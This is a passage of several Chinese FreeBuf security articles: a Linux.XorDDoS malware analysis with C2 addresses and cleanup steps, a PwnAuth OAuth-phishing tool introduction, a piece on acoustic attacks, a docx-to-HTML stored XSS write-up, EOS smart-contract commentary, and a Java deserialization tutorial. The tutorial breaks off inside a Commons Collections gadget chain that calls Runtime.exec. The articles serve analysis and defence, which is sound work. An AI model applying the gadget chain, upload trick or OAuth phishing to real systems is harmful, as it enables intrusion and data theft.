概述

最近接到某客户反馈Linux服务器存在异常流量和可疑进程,深信服EDR安全团队迅速出击,捕获到了相应的恶意样本,通过分析确认此样本是Linux.XorDDoS恶意样本的最新变种,感染方式和远程恶意服务器地址均发生了改变。

此样本在VT上的截图信息,如下所示:

图片.png

样本简介

2014年9月底,MalwareMustDie发现Linux.XorDDoS,它构成了分布式拒绝服务攻击的僵尸网络,Linux.XorDDoS恶意家族主要特点是,用暴力猜解目标主机ssh弱密码的方式,入侵目标主机,然后执行相应的shell脚本安装Linux.XorDDoS恶意家族以及恶意RootKit感染客户主机。

Linux.XorDDoS运行之后,会通过fork创建子进程,然后结束掉父进程,并创建相应的守护进程,然后删除自身,拷贝自身到相应的目录下,同时样本运用了“多态”的方式,在相应的目录不断生成随机文件名的恶意程序,运行之后又删除自身,导致安全人员在查找相应的恶意程序时,总是定位不到相应的文件,进程列表也不断发生改变,同时Linux.XorDDoS会利用RootKit技术隐藏相应的IP地址端口号,然后通过与远程服务器进行通信,返回相应的数据包,解密之后,对相应的服务器IP地址发起DDOS攻击。

样本分析

1.查看恶意样本文件类型,为Linux32位程序,如下图所示:

图片.png

2.通过反汇编,查看Main函数如下所示:

图片.png

病毒会先设置相应的环境变量:

/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin,然后再通过解密函数对相应的字符串进行解密,得到相应的文件目录或文件路径:

/boot  /var/run/sftp.pid   /lib/udev/udev  /lib/udev/  /var/run

同时解密出配置文件的URL地址如下:

http://info.3000.uc.com/config.rar

解密字符串的函数如下所示:

图片.png

查看ida里的xorkeys,我们可以得到它的加解密的key,如下图所示:

图片.png

Key的值为:BB2FA36AAA9541F0

3.能过解密函数,解密出daemonname,daemonnname字符串如下所示:

图片.png

解密过程如下图所示:

图片.png

相应的反汇编代码如下:

图片.png

解密之后的命令行如下:

图片.png

4.创建相应的守护进程,如下图所示:

图片.png

相关的反汇编代码如下:

图片.png

5.获得自身进程文件的路径,判断是否在/boot目录下,如下图所示:

图片.png

如果不是在/boot下,则创建恶意程序运行主体的目录/boot,并拷贝自身的/boot,同时创建相应的备份文件目录/lib/udev,同时拷贝自身到/lib/udev/udev,如下图所示:

图片.png

通过get_self得到自身进程的程序,如下下图所示:

图片.png

最后通过remove删除自身,然后再运行/boot下的恶意程序,文件名为随机的10个字母组成,如下图所示:

图片.png

6.获取进程的共享内存,然后执行后面的恶意操作,如下图所示:

图片.png

7.这个样本包含安装rootkit的代码,但并未执行,而是能过安装脚本进行rootkit安装的,如下图所示:

图片.png

图片.png

代码在执行的时候默认跳过了安装RootKit恶意的代码段

8.加载自启动服务项,先将在/boot中运行的主恶意程序,写入到/etc/init.d/随机文件名启动项中,如下图所示:

图片.png

图片.png

然后将cron的内容写入到/etc/cron.hourly/cron.sh中,并将之前的自启动项写入到rc*.d文件中,然后再删除相应的rc*.d/S90**********文件,创建相应的符号连接,更新rc.d配置项,同时将之前生成的cron.sh写入到/etc/crontab定时器任务中,如下图所示:

图片.png

写入之后的文件内容如下所示:

图片.png

里面S90**********随机生成的文件名,内容如下所示:

图片.png

9.检测是否存在rootkit恶意驱动程序,如下图所示:

图片.png

10.修改自身文件的用户属性,然后能过解密函数解密出远程恶意服务器的网址,如下图所示:

图片.png

相应的反汇编代码如下:

图片.png

解密出来的网址如下:

23.234.52.54:5009

zxchk.xicp.net:5009

将解密出来的网站加入到恶意服务器列表之中,如下图所示:

图片.png

11.对解密出来的恶意网站,能过RootKit恶意程序隐藏相应的网络端口,如下图所示:

图片.png

当存在RootKit驱动模块的时候,发送相应的RootKit执行的命令编号0×9748712,如下图所示:

图片.png

12.创建线程,执行恶意网络连接操作,通过uname获得主机的相关信息,如下图所示:

图片.png

然后再构造相应的数据包,并发送到远程恶意服务器,如下图所示:

图片.png

13.解密相应的返回数据包的数据,如下图所示:

图片.png

解密返回的数据包代码如下:

图片.png

通过解析出来的不同命令执行不同的操作:

1)添加DDOS任务,如下图所示:

图片.png

然后创建线程,对解密出来的IP地址,执行DDOS攻击,如下图所示:

图片.png

DDOS攻击的方式主要为dns,syn两种方式,如下图所示:

图片.png

执行DDOS攻击,通过WireShark网络抓包,如下图所示:

图片.png

图片.png

图片.png

DDOS服务器的IP地址:

103.198.73.176

59.56.66.67

2)创建线程,下载程序,并执行,如下图所示:

图片.png

下载程序并执行,相应的反汇编代码,如下图所示:

图片.png

3)创建线程,更新文件,如下图所示:

图片.png

更新程序的反汇编代码,如下图所示:

图片.png

14.解密出相应的URL地址,然后执行daemondown无限循环下载,如下图所示:

图片.png

相应的反汇编代码如下:

图片.png

15.后面就是恶意程序的“多态”和“驻留”机制了,如下图所示:

图片.png

删除自身,然后拷贝/lib/udev/udev程序到/boot下的随机程序,并执行

图片.png

删除相应的自启动项,然后拷贝/lib/udev/udev程序到/boot下的随机程序,并执行

16.查看进程列表,如下图所示:

图片.png

查看恶意进程的文件,如下图所示:

图片.png

恶意程序会通过上面的“多态”和“驻留”的方式,不断的在/boot下创建随机恶意程序名,然后执行,再不断的自删除相应的自启项,然后再创建恶意进程,再不断删除,循环执行,如下图所示,执行ls时,/boot下的恶意程序会不断的变化,如下图所示:

图片.png

清理样本

1) 清除/lib/udev/目录下的udev程序

2) 清除/boot下的随机恶意文件(10个随机字符串数字)

3) 清除/etc/cron.hourly/cron.sh和/etc/crontab定时器文件相关内容

4) 如果有RootKit驱动模块,需要卸载相应的驱动模块,此次恶意程序主要它来隐藏相关的网络IP端口

5) 清除/lib/udev目录下的debug程序

IOC

MD5

0B3456561B7942AA67403CDDC1FAD2BD

URL

zxchk.xicp.net:5009

23.234.52.54:5009

* 本文作者千里目安全实验室,转载注明来自FreeBuf.COM

背景

鱼叉式网络钓鱼攻击被视为企业最大的网络威胁之一。只需一名员工大意的输入了他的凭据,或运行了一些未知的恶意软件,就可能会使整个企业网络掌控于攻击者,甚至瘫痪。因此,公司往往会选择投入大量的资源,来防止凭证收集和有效载荷驱动的社会工程学攻击。但是对于非传统但同样危险社会工程学方法OAuth滥用,却没有给予足够的重视。在OAuth滥用攻击中,受害者授权第三方应用程序访问其帐户。一旦获得授权,应用程序就可以访问用户的数据,而不需要凭证并绕过可能存在的任何双因素身份验证。

今天,我发布了PwnAuth,这是一个让组织和渗透测试人员能够拥有测试其检测和响应OAuth滥用社会工程活动能力的平台。在发布该工具时,我们希望提高人们对这种威胁的认识,提高安全社区的检测能力,并为防御者提供对策。

转到我们的GitHub开始使用PwnAuth

OAuth简介

OAuth 2.0被描述为“一种开放协议,允许从Web,移动和桌面应用程序以简单标准的方法进行安全授权……”它已成为亚马逊,谷歌,Facebook和微软等主要互联网公司事实上的协议,以促进授权第三方应用程序访问用户数据。访问Microsoft OneDrive以便轻松进行文件共享的应用程序,就是一个很好的OAuth利用的示例。

我们以访问OneDrive的应用程序为例,在OAuth授权流程中定义一些角色

应用程序或“客户端(Client)”

请求访问的第三方应用程序。在此情况下,希望访问您的OneDrive文件的应用程序为“客户端(Client)”。

API“资源(Resource)”

“客户”希望访问的目标应用程序。在此种情况下,Microsoft OneDrive API端点为“资源(Resource)”。

“资源所有者(Resource Owner)”

允许访问其部分帐户的人员。在此情况下,是你。

授权服务器

授权服务器提供资源所有者用来同意或拒绝的接口。服务器可以与API资源或不同的组件相同。在此情况下,Microsoft登录门户是“授权服务器”。

范围

范围定义为第三方应用程序请求的访问类型。大多数API资源将定义应用程序可以请求的一组范围。这与Android手机应用程序在安装时请求的权限类似。在此示例中,应用程序可能会请求访问你的OneDrive文件和用户配置文件。

OAuth 2.0提供了几种不同的授权“grant类型”,以更好的满足用户与之交互的不同应用程序。在此我们将对“授权代码”grant类型做进一步的说明,该授权类型由实现OAuth的Web应用程序使用。 以下是授权流程示例:

1.创建一个“同意”链接,通过标识应用程序和请求的作用域的参数,将资源所有者引导至授权服务器。

https://login.microsoftonline.com/auth
?response_type=code
&client_id=123456789
&redirect_uri=https%3A%2F%2Fexample-app.com%2Fcallback
&scope=mail.read+offline_access

2.资源所有者将收到授权提示,说明应用程序名称和请求的范围。 资源所有者可以选择批准或拒绝此授权请求。

3.一旦选择了同意,授权服务器将使用授权码重定向应用程序。

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-store
Pragma: no-cache
{
"access_token":"aMQe28fhjad8fasdf",
"token_type":"bearer",
"expires_in":3600,
"refresh_token":"OWWGE3YmIwOGYzYTlmM2YxNmMDFkNTVk",
"scope":"mail.read+offline_access"
}

4.然后应用程序可以使用授权代码并从授权服务器请求访问令牌。访问令牌可以在设定的时间段内使用,从API资源访问用户的数据,而无需资源所有者采取任何进一步的行动。

OAuth滥用蔓延

OAuth应用程序提供了一个理想的载体,攻击者可以通过它攻击目标并获取电子邮件,联系人和文件等机密数据。攻击者可能会创建恶意应用程序,并使用获取的访问令牌通过API资源检索受害者的帐户数据。访问令牌不需要知道用户的密码,并能轻松的绕过任何双因素认证防护。此外,删除攻击者访问权的唯一方法是显式撤销对OAuth应用程序的访问。为了获得OAuth令牌,攻击者需要利用社会工程学的方法说服受害者点击“同意链接”并批准该应用程序。由于所有受害者交互都位于合法资源提供者(例如Microsoft)拥有的网站上,因此对于未经过专业安全培训的用户来说,往往很难区分OAuth应用程序是否合法。

虽然可能不是此类活动的首例,但在2016年总统选举期间OAuth滥用首先引起了媒体的关注。FireEye在我们的2017年M-TRENDS报告中撰文介绍了APT28滥用OAuth,获取美国政客的电子邮件的情况。从那时起,FireEye就发现了这种技术正传播到商品上,并试图在Gmail上传播

PwnAuth

PwnAuth是我写的一个Web应用程序框架,这是一个让组织和渗透测试人员能够拥有测试其检测和响应OAuth滥用社会工程活动能力的平台。Web应用程序为渗透测试人员提供了一个易于使用的UI,以管理恶意OAuth应用程序,存储收集的OAuth令牌以及与API资源进行交互。通过创建模块,应用程序用户界面和框架可以很容易地扩展到其他API资源。虽然任何允许OAuth应用程序的云环境都可能成为目标,但是PwnAuth目前使用一个模块来支持恶意Office 365应用程序,这些应用程序将捕获OAuth令牌并使用捕获的令牌与Microsoft Graph API进行交互。Office 365模块本身可以进一步的被扩展,但目前提供以下功能:

阅读邮件

搜索用户的邮箱

读取用户的联系人

下载消息和附件

搜索OneDrive并下载文件

代表用户发送消息

PwnAuth的界面设计的非常的直观和友好。使用PwnAuth的第一步是创建一个Microsoft应用程序。这些信息必须输入PwnAuth(图1)。

Fig1.png

配置完成后,你可以使用生成的“授权URL”对潜在受害者进行钓鱼。目标用户一旦点击,PwnAuth将捕获其OAuth令牌。受害者列表示例(图2)。

Fig2.png

一旦PwnAuth捕获了受害者的OAuth令牌,你就可以开始访问他们的数据。例如,使用PwnAuth向受害者的邮箱查询包含字符串“password”的所有消息(图3)。

Fig3.png

有关使用的更多信息,请参阅GitHub wiki

缓解措施

我们的FireEye技术栈包括基于网络的签名,以检测潜在的恶意OAuth许可URL。攻击者倾向于将某些范围包含在可检测到并标记的恶意应用程序中。有关社会工程学的培训机构,可以将OAuth滥用情况添加到其现有的培训计划中,以便用户更好的了解和保护自己。此外,作为企业可以采取进一步的措施来限制恶意OAuth应用程序的潜在影响,并提高其检测功能。依据API资源,企业可用的选项差异很大,但通常包括:

限制第三方应用程序可以请求的API范围。

在企业中禁用第三方应用具有Cloud App Security的组织可以利用“应用程序权限”功能查询和阻止第三方应用程序。。

为应用程序实施白名单或黑名单。

对所有同意的应用程序查询企业的用户。

记录所有用户同意事件并报告可疑活动。

Office 365特别为管理员提供了一些选项:

拥有Cloud App Security的企业可以利用“应用程序权限”功能查询和阻止第三方应用程序。

管理员可以阻止对第三方应用程序的访问。

管理员可以采取行动,如果他们认为恶意应用程序被授予访问帐户的权限

统一审计日志记录用户何时同意第三方应用程序;但是,特定范围和应用程序信息未记录在日志中。

我创建了一组脚本来帮助管理员在云环境中搜索恶意OAuth应用程序。目前有一个脚本可用于Office 365,后续我计划将添加支持更多的云环境。

总结

OAuth滥用攻击是一种危险且非传统的网络钓鱼技术,攻击者可利用这种技术获取组织的机密数据。随着我们将更多服务迁移到云中,企业应小心锁定第三方应用程序访问权限,并确保其监控和检测策略涵盖应用程序许可授予。组织和安全专业人员可以使用PwnAuth来测试他们检测和响应这种新型攻击的能力。

*参考来源:fireeye,FB小编 secist 编译,转载请注明来自FreeBuf.COM

最近几天,特朗普变成“特没谱”的新闻纷纷刷屏各大媒体网站。不论是与朝鲜的会面还是与我国商务部、外交部关于关税问题的协商,一而再再而三的反悔和反转让这位美国总统的信誉值跌到谷底。在漫天的吃瓜看热闹的同时,笔者出于职业敏感,也捕捉到另外一条与外交相关,还牵涉到神秘攻击的事件。

emmm

5 月 24 日,CNN 发布了一篇报道,报道指出,美国驻广州总领事馆发布了一则针对在华美国公民的健康警报,称一名在中国的美国政府雇员早前感受到了“微妙、模糊、但是反常的声音和压力”,其后被诊断为“轻度创伤性脑损伤”。美国国务卿蓬佩奥发言表示这种状况与此前美国驻古巴大使馆遭遇“声波攻击”的工作人员的医学表征基本相同。美国因此与中国外交部联系,暗指中国发起了声波攻击。

333

千奇百怪的声波攻击事件

关于声波攻击早在 10 年前就有相关研究,2008 年 Joyent 公司的首席技术官 BrandonGregg 在视频中演示了通过噪声来让数据中心的硬盘产生读 /写错误。到如今,关于声波攻击的报道或研究更是层出不穷。前文提到的美国大使馆声波攻击事件最早出现在古巴:2016 年 12 月到 2017 年 8 月期间,二十多名美国驻古巴大使馆工作人员先后报道耳痛,头痛,单耳耳鸣,眩晕,迷失方向,注意力无法集中以及其他跟轻度脑损伤或脑震荡相符的症状,而这些症状都与“尖锐声音”有关。虽然声学专家表示人类其实无法听到超声波,因此这些症状不太可能是高频声波武器导致的,但专家分析后发现,可能是两个超声波信号意外相互干扰产生了人类可听见的声音,对人体造成了副作用。事件曝光后,大部分美国工作人员从古巴哈瓦那大使馆撤出,且自 2018 年 1 月份调查以来,事件依然没有确切结论(参考:美大使馆遭遇声波攻击,浙大WitAwards获奖团队协助调查)。

声波攻击

除了疑似击给人体带来的危害,声波攻击在其他方面也“成果斐然”。2015 年 8 月,美国博客 Gizmod 报道称,韩国科学技术高级研究院(KAIST)的研究人员发现,用声波干扰无人机的机载陀螺仪,就能直接击落无人机。电子陀螺仪是无人机的核心,用于仪器确定方向和保持稳定。只要用特定声波诱导陀螺仪产生共振,就能让陀螺仪失效,失去精准控制方向和自我调整的能力,最终导致无人机坠落。

2017 年 9 月,浙江大学的研究团队发现了著名的“海豚攻击”使用超声波频率这种人耳无法听见的声音,就能对很多语音助手软件发送指令,从而接管手机、智能家居、甚至是汽车,而且这种攻击方式根本不需要接触手机,接管智能设备后,能实现监控、植入虚假信息、拒绝服务等多种攻击。

在关于声波和无线电攻击的例子里,最著名的也许是“金唇行动”了。1943 年,苏联领袖斯大林表示要不惜一切代价对美国大使阿维拉·卡里曼的办公室进行窃听,后来苏联政府精心设计的窃听器放进了一枚特制的美国国会,作为礼物送进了美国大使馆的办公室,直到 8 年后才被发现。这个窃听器本质上是一种本身不带电源,不发射电磁波的被动式无线电设备,仅由外界电磁波驱动,并通过反射经过调谐的电磁波实现窃听和信息传输功能。这个过程也用到了声波相关的技术。

此外,还有利用声波或超声波入侵物理隔离的设备追踪用户窃取信息等。近几年,利用声波攻击摧毁硬盘设备、导致系统崩溃的案例最为常见。

声波攻击是什么

声波攻击最初主要是指利用声波武器对人体造成伤害。在维基百科中,关于“声波武器(Sonic Weapon)”的解释是这样的:利用声音对目标造成杀伤或干扰的武器。用扬声器定向发出大音量的声波,令敌方人员死伤或丧失战斗力。

而如今,声波攻击所涉及的范围更广泛,大多与计算机或设备有关,可以归类于边信道攻击。对于设备而言,“声波攻击”涉及到一个重要的概念就是“加速度传感器”,“加速度传感器”是一种能够测量三维空间中物体速度变化的传感器,被广泛应用于汽车电子、航空航天、智能硬件等工业和消费电子领域,可以采集物体的加速度数据信息,发送给芯片和嵌入式系统进行分析和决策。如果带有“加速传感器”的设备周围发射了声波或者人耳无法捕获的超声波,会使得目标硬盘驱动器(HDD)的数据存储磁盘面产生机械振动。如果声波设置成了特定频率播放,会产生共振效应,共振进而放大声波产生的震动,让加速传感器失效。

声波攻击

密歇根大学和浙江大学的研究人员上周在旧金山 IEEE 安全与隐私专题讨论会上联合发布了一份研究报告,他们基于以前关于声波攻击的研究成果,进行深入扩展,详细分析了声波攻击损坏磁盘驱动器,造成系统崩溃的过程。这种攻击对于常见的 Windows、Linux 和 iOS 系统都适用,而且会影响医疗设备和其他广泛使用且难以更新的旧系统(如工控系统、闭路电视监控摄像机存储、ATM 机等),因此,存在较大的危害性。

由于硬盘驱动器(HDD)会将大量数据存储在盘片中的一小片区域中,而根据 HDD 的设计原理,如果盘片处于振动状态的话,计算机将会停止所有的读/写操作来避免划伤磁盘盘片,以防止对硬盘造成永久性的破坏。如果在运行过程中发送声波造成震动,就会破坏读写过程,进而造成磁盘损坏。

声波攻击

研究结果表明,可听见声波会导致磁头组件震动,而超声波会导致振动传感器为防止磁头碰撞而产生误报,二者都会造成操作系统或应用程序层面的问题。而发出干扰的方法很简单,直接用便宜的扬声器就能实现,也可通过笔记本电脑或态势电脑的扬声器发起攻击。在特定情况下,受害者访问某个恶意网站或收到网络钓鱼信息,该网站或钓鱼信息在未经系统内置扬声器许可的情况下播放恶意超声波,也可造成损坏。

实验过程中用到的西部数据、东芝和希捷硬盘,以及内置 HP DC7600U 扬声器的 HP Elite Minitower 台式电脑都中招了。此前也有报道称,一位博士生在做声波研究时,因为没有注意房间里其他设备的声波,最终两端声波交叉导致磁盘共振,最后差点毁了博士论文,吓得我赶快抱紧了我的小笔记本……

下载 (1).jpg

如何防范

研究人员认为,目前针对硬盘驱动器的安全防护措施很少,而且硬盘驱动器的安全被绝大多数人所忽略。由于硬盘在计算机系统中是一个核心组件,而且还存储有各种敏感信息,所以它更加有可能吸引攻击者的目光。

对此,研究专家表示,可能遭遇声波攻击的重要场所,可以使用衰减控制器缓解易受攻击的频带内攻击;使用传感器融合(sensor fusion)来检测攻击;并使用噪声衰减材料来衰减信号。

当然,专家们也说了,就目前的情况来看,我们不太可能在现实生活中遇到这种声学攻击,因为在发动这种攻击时,攻击者需要满足多种条件,所以相对其他攻击方式来说这种攻击方法可能有些不太实际。像攻击无人机和大使馆那种,场景很苛刻,发送的声波频率和发送设备都很高级,普通人一般遇不到。就算是上文提到的简单扬声器就能发起的攻击,也要求声波达到一定频率才行。这个几率,也许比普通摔一下造成磁盘损坏的几率更小。所以平时,还是防摔更重要~

下载 (2).jpg

参考来源:

https://edition.cnn.com/2018/05/23/asia/us-employee-china-sound-injury-intl/index.html

https://spqr.eecs.umich.edu/papers/bolton-blue-note-IEEESSP-2018.pdf

https://www.chem.purdue.edu/chemsafety/Training/PPETrain/dblevels.htm

https://spectrum.ieee.org/semiconductors/devices/finally-a-likely-explanation-for-the-sonic-weapon-used-at-the-us-embassy-in-cuba/how-an-ultrasonic-sensor-nearly-derailed-a-phd-thesis

https://en.wikipedia.org/wiki/The_Thing_(listening_device)

*本文作者:AngelaY,转载请注明来自 FreeBuf.COM。

timg.jpg

在渗透测试过程中,每当看到目标测试网站存在上传功能时,总会激起我的好奇心。如果能够走运的话,若目标网站服务器是PHP或ASP架构,而且上传功能没作后缀过滤,这样就能导致可以直接上传反弹脚本形成控制。如果这招行不通,我会尝试上传一个HTML页面去触发我自己设置的客户端javascript脚本形成XSS攻击。本文我就分享一个上传docx文件形成存储型XSS漏洞的实例。

测试上传功能

刚好在某次Web测试工作中,我发现目标网站上传功能中,用一个未授权用户即可上传自己的文件,该上传功能中允许用户上传.docx文件:01.jpg当把这种.docx文件上传之后,它还能被下载。通过比较发现,上传成功的文件uploaded.docx和服务器上其对应的可下载文件downloaded.docx之间存在着一些不同,也就是说,文件上传成功之后,在提供下载之前,服务器会对这个上传文件进行一些处理操作,之后,再提供下载。

02.jpg

用来上传的文件必须是一个有效的.docx文件,那基于浏览器的解析显示来说,它可能会把它转换为html格式来显示,那我能不能把它后缀作个更改呢?所以我先来试试在POST请求中把.docx后缀更改为.html看看:03.jpg

当这个.html文件上传之后,向服务器请求这个文件后,服务器会把其Content-Type头默认为text/html,这样的话,浏览器会把这个文件解析为HTML执行:04.jpg

插入XSS Payload

这样,我就想到了把XSS Payload捆绑到一个像下图这样的.docx压缩文件中去。由于这是.docx经直接把后缀更改为.zip的压缩格式文件包样例,我需要确定在上传或Web解析过程中某些不会被转储更改的区域,最后,我发现了这种docx变zip压缩格式包中的某些文件路径会保持原样,像下图这样,我把其中的Settings.xml文件名加上了一长串字母好待区分。05.jpg之后,再把这个zip格式后缀还原为docx格式,用UItraEdit查看hex代码,再在保持原样的区域中覆盖掉一些字节,插入我自己设置的JavaScript XSS代码:06.jpg

上传时,服务器能正常接收这个经过构造的.docx文件,在HTTP POST过程中,我把它的后缀更改为.html后缀进行了最终上传:07.jpg向服务器请求这个文件时,它能被服务器解析为HTML文件,其中包含了完整的之前插入的XSS Payload代码:08.jpg当然浏览器解析之后,也能成功执行其中插入的XSS Payload:09.jpg为了对这种XSS攻击进行混淆隐蔽,攻击者可以在其中加入一个包含URI统一资源标识符的隐藏iframe框架,能对受害者产生迷惑效果,像下图这样:10.jpg

防护措施

这样的效果对于开发者来说应该采取以下手段来进行限制。

文件上传之前,在服务器端验证上传文件格式是否为.doc或.docx有效格式;

严格限制Content-Type头,对Content-Type头或特定后缀格式更改过的上传文件须保持与上传文件相同的Content-Type头信息;

控制文件下载时的其它操作情况,添加响应标头:“Content-Disposition: attachment”,以防止在浏览器中内嵌显示文件;

过滤掉所有包含HTML标签的上传,因为docx可经压缩篡改其中包含的HTML文件。

*参考来源:coalfire,FreeBuf 小编 clouds 编译,转载请注明来自 FreeBuf.COM

最近几天,区块链平台EOS智能合约漏洞事件再次把区块链安全推上了风口浪尖。

360Vulcan(伏尔甘)团队发现了区块链平台 EOS 的一系列高危安全漏洞。经验证,其中部分漏洞可以在 EOS 节点上远程执行任意代码,即可以通过远程攻击,直接控制和接管 EOS 上运行的所有节点。攻击者会构造并发布包含恶意代码的智能合约,EOS 超级节点将会执行这个恶意合约,并触发其中的安全漏洞。攻击者再利用超级节点将恶意合约打包进新的区块,进而导致网络中所有全节点(备选超级节点、交易所充值提现节点、数字货币钱包服务器节点等)被远程控制。

4_eos.jpg

由于已经完全控制了节点的系统,攻击者可以“为所欲为”,如窃取 EOS 超级节点的密钥,控制 EOS 网络的虚拟货币交易;获取 EOS 网络参与节点系统中的其他金融和隐私数据,例如交易所中的数字货币、保存在钱包中的用户密钥、关键的用户资料和隐私数据等等。攻击者还可以将 EOS 网络中的节点变为僵尸网络中的一员,发动网络攻击或变成免费“矿工”,挖取其他数字货币。

可以看出,这些漏洞的最大危害是攻击者可以发布包含恶意代码的“智能合约”,进而远控所有节点。

一、什么是智能合约?

智能合约(smart contract) 这个术语是在1994 年由Nick Szabo 提出的,后来经过几次在不同环境下的重新定义。我们现在通常所说的区块链智能合约以以太坊为代表,以太坊的作者Vitalik Buterin 意识到,在区块链系统中,交易逻辑是可以和底层系统机制分离的。底层系统负责交易块的创建和验证,记账者的共识达成等基础功能,而交易本身到底做什么事情是可以通过二次编程的方式来定义的。因此他设计了一种交易代码执行的虚拟环境EVM,使用者可以开发自定义的交易逻辑,发布到链上,当交易进行时,链上所有的节点都执行相同的代码,从而同步改变链上数据的状态。他为这种代码使用了“智能合约”这个名字,这是我们目前通常所说的智能合约的内涵。

二、智能合约漏洞,左右为难!

智能合约本质是一段运行在区块链网络中的代码,它完成用户所赋予的业务逻辑。以以太坊体系的代币为例,其业务逻辑是代币发币和交易。以太坊在设计之初,将智能合约设计成了一旦部署就不能修改的模式。这种设计有可能是为了提高智能合约的可信性。但是我们知道,只要是由人编写的程序,就一定会出现错误和缺陷。以太坊这种设计本身就违背了程序设计的一般规律,在智能合约出现漏洞的时候可能会造成无法弥补的损失。我们可以看到,近期出现的以太坊体系智能合约的漏洞,造成了巨大的影响,有的代币也因此毁灭。

timg.jpg

目前以太坊体系区块链智能合约的机制设计,加之漏洞可能带来的毁灭性影响,使得已上线智能合约的漏洞的报告和处理变得非常棘手。360代码卫士团队在近期的研究中发现了以太坊体系下多个已上市交易的代币的智能合约安全漏洞,并已第一时间报告厂商,但到目前为止厂商尚未作出任何回应。对于厂商来说,由于智能合约不可修改的特性,要对上线后发现的漏洞进行有效修复,只能选择重新部署新的合约,这将付出巨大的代价,因此有的厂商可能会选择不响应,不处理。而对于安全研究者来说,也面临尴尬的境地,左右为难。在厂商修补漏洞前公开漏洞细节对于厂商不利,有悖漏洞披露的一般原则,但如果厂商迟迟不修补漏洞,公众对于漏洞的存在不知情,风险会随着时间的增长迅速膨胀,漏洞一旦爆发可能会造成更大的危害,波及更大的人群,可能会造成很多人的投资瞬间化为乌有。接下来我们还将与厂商保持积极的联系和沟通,以期帮助其修复漏洞。

三、智能合约漏洞,如何应对?

在一些联盟链中,智能合约的设计是可以在部署之后更新的,当然这种更新需要一定的线下协商流程。要应对区块链智能合约的安全漏洞问题,未来需要普遍考虑设计相应的智能合约协商更新机制,降低漏洞修复的成本。

但现在,我们需要面对现实,做出几乎唯一可行的、切实有效的努力——在智能合约上线之前,对其进行全面深入的代码安全审计,尽可能的消除漏洞,降低安全风险

*本文作者:360企业安全,转载请注明来自FreeBuf.COM

Java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点。在cve中搜索关键字serialized共有174条记录,其中83条与java有关;搜索deserialized共有20条记录,其中10条与java有关。这些出现反序列化漏洞的框架和组件包括的大名鼎鼎的spring,其中还有许多Apache开源项目中的基础组件。例如Apache Commons Collections。 这些基础组件大量被其他框架或组件引用,一旦出现漏洞就会引起大面积的网络安全事故,后果非常严重。比较出名的反序列化漏洞有:

2015 – Apache Commons Collections

2016 – Spring RMI

2017 – Jackson,FastJson

反序列化漏洞总结给出了近几年出现的反序列化漏洞。

本文主要对java反序列化机制进行简要说明,并对java反序列化漏洞的成因进行分析以及提出一些用于防止反序列化产生安全问题的手段。

java反序列化简介

序列化与反序列化是java提供的用于将对象进行持久化便于存储或传输的手段。序列化可以将对象存储在文件或数据库中,同时也可以将序列化之后的对象通过网络传输;反序列化可以将序列化后的对象重新加载到内存中,成为运行时的对象。

在java中,主要通过ObjectOutputStream中的writeObject()方法对对象进行序列化操作,ObjectInputStream 中的readObject() 方法对对象进行反序列化操作。需要序列化的对象必须实现@serializable接口。需要注意的是,如果被序列化或反序列化的类中存在writeObject()|readObject()方法,则在进行序列化|反序列化之前就会调用该方法。这通常是引起反序列化漏洞的一个重要特性。下面通过一段简单的代码认识一下java的序列化与反序列化:

首先定义一个User类用于序列化:

public class User implements Serializable{        private int age;      
  private String username;        private String password;       
 User(){            this.age = 10;            this.username = "test";    
        this.password = "test";        }        //在序列化之前被调用       
 private void writeObject(ObjectOutputStream os) throws IOException {    
        os.defaultWriteObject();           
 System.out.println("readObject is running!");        }        
//在反序列化之后被调用        private void readObject(ObjectInputStream is) throws
 IOException, ClassNotFoundException {           
 is.defaultReadObject();            System.out.println("writeObject is 
running!");        }        @Override        public String toString() {  
          return "User{" +                    "age=" + age +            
        ", username='" + username + '\'' +                    ", 
password='" + password + '\'' +                    '}';            }    
 }

然后进行序列化|反序列化操作:

public static void main(String args[]) throws IOException, 
ClassNotFoundException {              User user = new User();        
//将序列化对象存储在serialize_data中        ObjectOutputStream oos = new 
ObjectOutputStream(new FileOutputStream("serialize_data"));       
 System.out.println("serialize");        oos.writeObject(user);//序列化    
    oos.close();        //存储在serialize_data中的对象反序列化       
 ObjectInputStream ois = new ObjectInputStream(new 
FileInputStream("serialize_data"));       
 System.out.println("deserialize");        User userDeserialize = 
(User)ois.readObject();//反序列化       
 System.out.println(userDeserialize.toString());        ois.close();    }
    //输出结果    /*    serialize    readObject is running!    deserialize  
  writeObject is running!    User{age=10, username='test', 
password='test'}          */    

可以看出,自定义的readObject|writeObject方法确实在序列化反与反序列化的过程中被调用了。

Apache Commons Collections 反序列化漏洞

下面就从一个实例来看一下java反序列化如何导致系统命令执行的。

Commons Collections是一个apache开源的集合类工具组件,在2015年爆出有反序列化漏洞。有大量的框架受到其影响。如:WebLogic,Jenkins,Jboss等。

Conmmons Collections中有一个TransformedMap ,其作用是对普通的map进行装饰,在被装饰过的map添加或者修改键值对时会首先调用其中Transformer 类的transform() 方法。TransformedMap 的构造函数可以传入单个Transformer。多个Transformer 构成的数组还可以构成执行链。听起来很复杂,下面看一下代码:

public class Main {    public static void main(String[] args) throws 
IOException, ClassNotFoundException {        //Transformer 
有很多种,ConstantTransformer的作用是对于任何输入的参数都返回构造函数输入的对象        Transformer 
transformer = new ConstantTransformer(new Integer(3));       //普通map    
    Map<String,String> rawMap = new HashMap<String, 
String>();        //装饰后的map        Map map = 
TransformedMap.decorate(rawMap,transformer,transformer);       
 map.put("dfd","dfsf");       //输出装饰后内容        map.forEach((k,v)->{  
          System.out.println(k+":"+v);        });    }}//console 
output//3:3

从输出结果可以看出,放在rawMap 中的键值对已经被转换成了ConstantTransformer 构造函数传入的整数对象。因此我们可以利用InvokerTransformer 构造一个调用链来进行恶意命令的执行。代码如下:

public class Main {    public static void main(String[] args) throws 
IOException, ClassNotFoundException {         Transformer[] transformers
 = new Transformer[]{         new ConstantTransformer(Runtime.class),    
     new InvokerTransformer("getMethod",new 
Class[]{String.class,Class[].class},new Object[]{"getRuntime",new 
Class[0]}),         new InvokerTransformer("invoke",new 
Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),  
       new InvokerTransformer("exec",new Class[]{String.class},new 
Object[]{"evilCmd"})         };         Transformer transformer = new 
ChainedTransformer(transformers);         Map<String,String> 
rawMap = new HashMap<>();         Map map = 
TransformedMap.decorate(rawMap,null,transformer);         
